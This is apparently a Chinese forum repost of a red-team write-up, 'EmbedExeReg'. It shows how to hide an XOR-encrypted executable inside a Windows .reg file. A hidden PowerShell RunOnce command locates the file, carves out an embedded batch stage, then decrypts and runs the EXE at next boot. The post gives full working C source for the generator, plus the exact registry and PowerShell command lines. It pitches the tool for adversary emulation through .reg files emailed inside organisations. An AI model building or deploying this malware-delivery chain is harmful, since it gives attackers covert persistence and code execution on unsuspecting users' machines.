|
今年早些时候,我发布了一个名为 "EmbedExeLnk" 的 PoC 项目 —— 该工具将生成一个包含嵌入式 EXE payload 的 Windows lnk 文件。与该项目相似,另外我创建了一个工具来生成包含 EXE payload 的 Windows 注册表 .reg 文件。
.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排一个程序在下次启动时运行:
- REGEDIT4
- [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
- "StartupEntryName"="C:\\test\\program.exe"
复制代码
由于 Run/RunOnce 键允许将参数传递给目标 EXE,我们可以使用它来执行脚本。以最简单的形式可以在此处插入 PowerShell 命令以从远程服务器下载并执行 EXE。但是,与之前的 .lnk PoC 一样,想更进一步,不需要额外下载。
首先将一些随机二进制数据附加到有效 .reg 文件的末尾,以查看是否会显示错误。幸运的是,注册表项已正确导入,并且没有出现错误消息 - 到达二进制数据时它静默失败。这意味着将我们的 EXE payload 附加到 .reg 文件的末尾是安全的。
现在我们有了一个包含主要 payload 的 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。由于payload 将在下次重启后执行,我们在这里遇到的第一个问题是不知道 .reg 文件在目标计算机上的存储位置。我们不想硬编码特定路径,因此我们将编写一个 PowerShell 命令来在重新启动后自行定位硬盘上的 .reg 文件。
下一个问题是我们无法直接从 .reg 文件执行 payload,因为 EXE 数据存储在文件末尾。这意味着 PowerShell 命令还需要从 .reg 文件中提取 EXE 数据,并在执行之前将其复制到单独的 .exe 文件中。
我创建了一个 PowerShell 命令来执行上面列出的所有操作 - 当直接从 cmd.exe 成功运行,但在插入 RunOnce 注册表项时根本没有执行。在花了一些时间调查此问题后,我发现 Run/RunOnce 注册表项的最大值长度似乎约为 256 个字符。如果一个值超过这个长度,它会被忽略。我的命令长度超过 500 个字符,这就解释了为什么它最初不起作用。
可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的 "阶段" 以实现最大的灵活性 - .reg 文件还将包含一个嵌入的 .bat 文件。原始命令中的大部分逻辑将移至 .bat 数据中,并且 RunOnce 值将包含一个简约的 PowerShell 命令来执行嵌入的批处理文件。
- cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
复制代码
我还对我为原始 EmbedExeLnk 项目编写的 EXE payload 使用了相同的基本 XOR 加密。
最终的 .reg 文件将具有以下结构:
- <.reg data>
- <.bat data>
- <.exe data>
复制代码
Example:
- REGEDIT4
- [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
- "startup_entry"="cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;""
- \xFF\xFF
- cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
- exit
- <encrypted .exe payload data>
复制代码
上面的示例文件可以分为 3 个部分:
原始 .reg 数据
这会在 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 键中创建一个名为 startup_entry 的值。这将导致计算机下次启动时执行以下命令:
- cmd.exe /c "PowerShell -windowstyle hidden $reg = gci -Path C:\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;"
复制代码
此命令在 C:\drive 中搜索与指定文件大小 (在本例中为 0x000E7964) 匹配的 .reg 文件以定位自身,然后将这个 .reg 文件复制到 TEMP 目录中,命名为 tmpreg.bat 并执行。
该文件在初始 .reg 数据之后包含 \xFF\xFF - 这不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。
嵌入 .bat 数据
下一个数据块包含嵌入的 .bat 命令:
- cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
- exit
复制代码
此命令从当前文件的末尾提取主 EXE payload。EXE 起始点的偏移量由生成器工具硬编码 (在本例中为 640 字节)。EXE 被复制到 TEMP 目录,解密并执行。
注意:当这个 .bat 文件被执行时,它也会在到达 .bat 内容之前执行原始 .reg 文件中的行。这不应该有任何不利影响,因为它们不是有效的命令。
嵌入 .exe 数据
最后一个数据块包含加密的 .exe payload。
此方法的主要缺点是需要管理员权限才能导入 .reg 文件,另一个缺点是主 payload 在下次重新启动之前不会执行,这意味着如果用户在此之前删除 .reg 文件,它将根本不会执行。虽然不是好的做法,但由于各种原因,.reg 文件通常仍通过组织内部的电子邮件在内部共享,这意味着它们可能对对手的模拟操作有用。
全部代码:
- #include <stdio.h>
- #include <windows.h>
- DWORD CreateRegFile(char *pExePath, char *pOutputRegPath)
- {
- char szRegEntry[1024];
- char szBatEntry[1024];
- char szStartupName[64];
- BYTE bXorEncryptValue = 0;
- HANDLE hRegFile = NULL;
- HANDLE hExeFile = NULL;
- DWORD dwExeFileSize = 0;
- DWORD dwTotalFileSize = 0;
- DWORD dwExeFileOffset = 0;
- BYTE *pCmdLinePtr = NULL;
- DWORD dwBytesRead = 0;
- DWORD dwBytesWritten = 0;
- char szOverwriteSearchRegFileSizeValue[16];
- char szOverwriteSkipBytesValue[16];
- BYTE bExeDataBuffer[1024];
- // set xor encrypt value
- bXorEncryptValue = 0x77;
- // set startup entry name
- memset(szStartupName, 0, sizeof(szStartupName));
- strncpy(szStartupName, "startup_entry", sizeof(szStartupName) - 1);
- // generate reg file data (append 0xFF characters at the end to ensure the registry parser breaks after importing the first entry)
- memset(szRegEntry, 0, sizeof(szRegEntry));
- _snprintf(szRegEntry, sizeof(szRegEntry) - 1,
- "REGEDIT4\r\n"
- "\r\n"
- "[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]\r\n"
- ""%s"="cmd.exe /c \\"powershell -windowstyle hidden $reg = gci -Path C:\\\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00000000} ^| select -ExpandProperty FullName -First 1; $bat = '%%temp%%\\\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\\""\r\n"
- "\r\n"
- "\xFF\xFF\r\n"
- "\r\n", szStartupName);
- // generate bat file data
- memset(szBatEntry, 0, sizeof(szBatEntry));
- _snprintf(szBatEntry, sizeof(szBatEntry) - 1,
- "cmd /c "powershell -windowstyle hidden $file = gc '%%temp%%\\\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000000)) -Encoding Byte; ^& $path;"\r\n"
- "exit\r\n", bXorEncryptValue);
- // create output reg file
- hRegFile = CreateFile(pOutputRegPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if(hRegFile == INVALID_HANDLE_VALUE)
- {
- printf("Failed to create output file\n");
- return 1;
- }
- // open target exe file
- hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if(hExeFile == INVALID_HANDLE_VALUE)
- {
- printf("Failed to open exe file\n");
- // error
- CloseHandle(hRegFile);
- return 1;
- }
- // store exe file size
- dwExeFileSize = GetFileSize(hExeFile, NULL);
- // calculate total file size
- dwTotalFileSize = strlen(szRegEntry) + strlen(szBatEntry) + dwExeFileSize;
- memset(szOverwriteSearchRegFileSizeValue, 0, sizeof(szOverwriteSearchRegFileSizeValue));
- _snprintf(szOverwriteSearchRegFileSizeValue, sizeof(szOverwriteSearchRegFileSizeValue) - 1, "0x%08X", dwTotalFileSize);
- // calculate exe file offset
- dwExeFileOffset = dwTotalFileSize - dwExeFileSize;
- memset(szOverwriteSkipBytesValue, 0, sizeof(szOverwriteSkipBytesValue));
- _snprintf(szOverwriteSkipBytesValue, sizeof(szOverwriteSkipBytesValue) - 1, "%06u", dwExeFileOffset);
- // find the offset value of the total reg file length in the command-line arguments
- pCmdLinePtr = (BYTE*)strstr(szRegEntry, "_.length -eq 0x00000000}");
- if(pCmdLinePtr == NULL)
- {
- // error
- CloseHandle(hExeFile);
- CloseHandle(hRegFile);
- return 1;
- }
- pCmdLinePtr += strlen("_.length -eq ");
- // update value
- memcpy((void*)pCmdLinePtr, (void*)szOverwriteSearchRegFileSizeValue, strlen(szOverwriteSearchRegFileSizeValue));
- // find the offset value of the number of bytes to skip in the command-line arguments
- pCmdLinePtr = (BYTE*)strstr(szBatEntry, "select -Skip 000000)");
- if(pCmdLinePtr == NULL)
- {
- // error
- CloseHandle(hExeFile);
- CloseHandle(hRegFile);
- return 1;
- }
- pCmdLinePtr += strlen("select -Skip ");
- // update value
- memcpy((void*)pCmdLinePtr, (void*)szOverwriteSkipBytesValue, strlen(szOverwriteSkipBytesValue));
- // write szRegEntry
- if(WriteFile(hRegFile, (void*)szRegEntry, strlen(szRegEntry), &dwBytesWritten, NULL) == 0)
- {
- // error
- CloseHandle(hExeFile);
- CloseHandle(hRegFile);
- return 1;
- }
- // write szBatEntry
- if(WriteFile(hRegFile, (void*)szBatEntry, strlen(szBatEntry), &dwBytesWritten, NULL) == 0)
- {
- // error
- CloseHandle(hExeFile);
- CloseHandle(hRegFile);
- return 1;
- }
- // append exe file to the end of the reg file
- for(;;)
- {
- // read data from exe file
- if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
- {
- // error
- CloseHandle(hExeFile);
- CloseHandle(hRegFile);
- return 1;
- }
- // check for end of file
- if(dwBytesRead == 0)
- {
- break;
- }
- // "encrypt" the exe file data
- for(DWORD i = 0; i < dwBytesRead; i++)
- {
- bExeDataBuffer[i] ^= bXorEncryptValue;
- }
- // write data to reg file
- if(WriteFile(hRegFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
- {
- // error
- CloseHandle(hExeFile);
- CloseHandle(hRegFile);
- return 1;
- }
- }
- // close exe file handle
- CloseHandle(hExeFile);
- // close output file handle
- CloseHandle(hRegFile);
- return 0;
- }
- int main(int argc, char *argv[])
- {
- char *pExePath = NULL;
- char *pOutputRegPath = NULL;
- printf("EmbedExeReg - www.x86matthew.com\n\n");
- if(argc != 3)
- {
- printf("Usage: %s [exe_path] [output_reg_path]\n\n", argv[0]);
- return 1;
- }
- // get params
- pExePath = argv[1];
- pOutputRegPath = argv[2];
- // create a reg file containing the target exe
- if(CreateRegFile(pExePath, pOutputRegPath) != 0)
- {
- printf("Error\n");
- return 1;
- }
- printf("Finished\n");
- return 0;
- }
复制代码
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|